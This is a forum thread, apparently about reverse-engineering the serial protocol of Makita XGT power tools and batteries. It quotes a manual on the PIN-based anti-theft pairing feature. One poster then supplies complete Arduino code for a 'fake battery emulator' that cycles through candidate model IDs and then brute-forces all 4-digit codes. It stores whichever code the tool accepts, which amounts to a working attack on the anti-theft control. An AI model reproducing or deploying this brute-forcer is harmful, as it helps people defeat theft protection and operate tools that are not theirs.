Command set and response B306 et al

[eroyee]

Thanks for the information you've researched and published.

I see your comments about the possible use of some commands .. the following information comes from page 3 of the manual for an ADP-12 XGT tool management adapter, which may give some insight into some of these command/responses?:

Anti-theft setting

You can set the PIN code for each tool and battery cartridge.
The default PIN code of all tools and battery cartridges are "0000".
By setting PIN code other than "0000", two anti-theft solutions below can be available.

Product / battery matching

Only the combination of the tool and the battery cartridge with the same PINs can be operated.
If you use the tool and the battery cartridge with different PINs, the tool does not operate and all indicator lamps of
the battery cartridge blink.

Battery timer setting

An expiration time / date can be set to battery cartridges according to a construction schedule. The battery cartridges
are not usable after the timer is expired.

Tool checker

You can confirm the operation history of the tool. Confirming those could be utilized for the future work.

Battery checker

You can confirm the usage history and the diagnosis result of the battery cartridge.

Notepad registration

You can take a note about product management, maintenance history, etc.

Stand-alone mode

This is the useful way to register the same setting to multiple tools or battery cartridges.
In the stand-alone mode, by registering the settings in the connector in advance, you can register the settings in the
tool or battery just by installing tool or battery to the connector.

NOTE: "Communication (Comm) Mode" is selected by factory default.
NOTE: In the "Communication (Comm) Mode", register the settings of the product or battery by communicating
them with the app one by one.

[hellmandan]

#include <EEPROM.h>
#include <SoftwareSerial.h>

// -----------------------------
// Makita TR bus on Arduino Nano
// -----------------------------
SoftwareSerial toolSerial(2, 3); // RX, TX

// Candidate battery model IDs
const char *candidateIDs[] = {
"GA003G ", "GA004G ", "GA005G ", "GA011G ",
"GA012G ", "GA013G ", "HS003G ", "HS004G ",
"HR001G ", "HR002G ", "HR003G ", "HR004G "
};
const int numCandidates = sizeof(candidateIDs) / sizeof(candidateIDs[0]);

// -----------------------------
// EEPROM
// -----------------------------
char storedID[9]; // null-terminated
bool hasValidID = false;

void resetEEPROM() {
for (int i = 0; i < 8; i++) EEPROM.write(i, 0xFF);
Serial.println("EEPROM cleared.");
hasValidID = false;
}

void saveModelID(const char *id) {
for (int i = 0; i < 8; i++) EEPROM.write(i, id[i]);
EEPROM.write(8, '\0');
Serial.print("Stored working battery ID: ");
Serial.println(id);
strncpy(storedID, id, 8);
storedID[8] = '\0';
hasValidID = true;
}

bool loadModelID() {
for (int i = 0; i < 8; i++) storedID[i] = EEPROM.read(i);
storedID[8] = '\0';
if (storedID[0] == 0xFF || storedID[0] == '\0') return false;
hasValidID = true;
Serial.print("Loaded stored battery ID: ");
Serial.println(storedID);
return true;
}

// -----------------------------
// Send B306 response
// -----------------------------
void sendB306(const char *modelID) {
uint8_t packet[16] = {0};
packet[0] = 0xB3;
packet[1] = 0x06;

for (int i = 0; i < 8; i++) packet[2 + i] = modelID[i];

uint8_t checksum = 0;
for (int i = 0; i < 14; i++) checksum += packet[i];
packet[14] = checksum;
packet[15] = 0x0D;

for (int i = 0; i < 16; i++) toolSerial.write(packet[i]);
toolSerial.flush();
}

// -----------------------------
// Globals
// -----------------------------
int candidateIndex = 0;
unsigned int currentCode = 0;
bool using4Digit = false;

// -----------------------------
// Setup
// -----------------------------
void setup() {
Serial.begin(9600);
toolSerial.begin(19200);

Serial.println("Makita XGT Fake Battery Emulator (Auto-Save ID)");
Serial.println("Type 'reset' to clear EEPROM.");

if (!loadModelID()) {
candidateIndex = 0;
using4Digit = false;
currentCode = 0;
}
}

// -----------------------------
// Main loop
// -----------------------------
void loop() {
// Serial reset command
if (Serial.available()) {
String cmd = Serial.readStringUntil('\n');
cmd.trim();
if (cmd.equalsIgnoreCase("reset")) {
resetEEPROM();
candidateIndex = 0;
using4Digit = false;
currentCode = 0;
}
}

// Listen for tool 1306 announce
if (toolSerial.available() >= 16) {
uint8_t buf[16];
for (int i = 0; i < 16; i++) buf[i] = toolSerial.read();

if (buf[0] == 0x13 && buf[1] == 0x06) {
  Serial.println("Tool sent 1306 announce packet");

  if (hasValidID) {
    sendB306(storedID);
    Serial.print("Replied with stored ID: ");
    Serial.println(storedID);
  } else if (!using4Digit) {
    // Candidate list
    sendB306(candidateIDs[candidateIndex]);
    Serial.print("Trying candidate ID: ");
    Serial.println(candidateIDs[candidateIndex]);

    // Auto-save if tool responds
    delay(50);
    while (toolSerial.available()) {
      uint8_t b = toolSerial.read();
      if (b == 0xB3) {
        Serial.println("Tool accepted candidate ID!");
        saveModelID(candidateIDs[candidateIndex]);
        return;
      }
    }

    candidateIndex++;
    if (candidateIndex >= numCandidates) {
      using4Digit = true;
      currentCode = 0;
      Serial.println("Switching to 4-digit brute-force mode");
    }
  } else {
    // 4-digit brute-force
    char codeStr[9];
    snprintf(codeStr, sizeof(codeStr), "%04u    ", currentCode);
    sendB306(codeStr);
    Serial.print("Trying 4-digit code: ");
    Serial.println(codeStr);

    // Auto-save if tool responds
    delay(50);
    while (toolSerial.available()) {
      uint8_t b = toolSerial.read();
      if (b == 0xB3) {
        Serial.println("Tool accepted 4-digit code!");
        saveModelID(codeStr);
        return;
      }
    }

    currentCode++;
    if (currentCode > 9999) currentCode = 0;
  }
}

}
}

[hellmandan]

Brute force :)

[hellmandan]

1. Start with the candidate list.

2. If no match, switch to 4-digit brute force.

3. Automatically detect acceptance from the tool (any 0xB3 reply from tool is treated as success).

4. Save the first successful ID in EEPROM.

5. Reuse the saved ID on next power-up.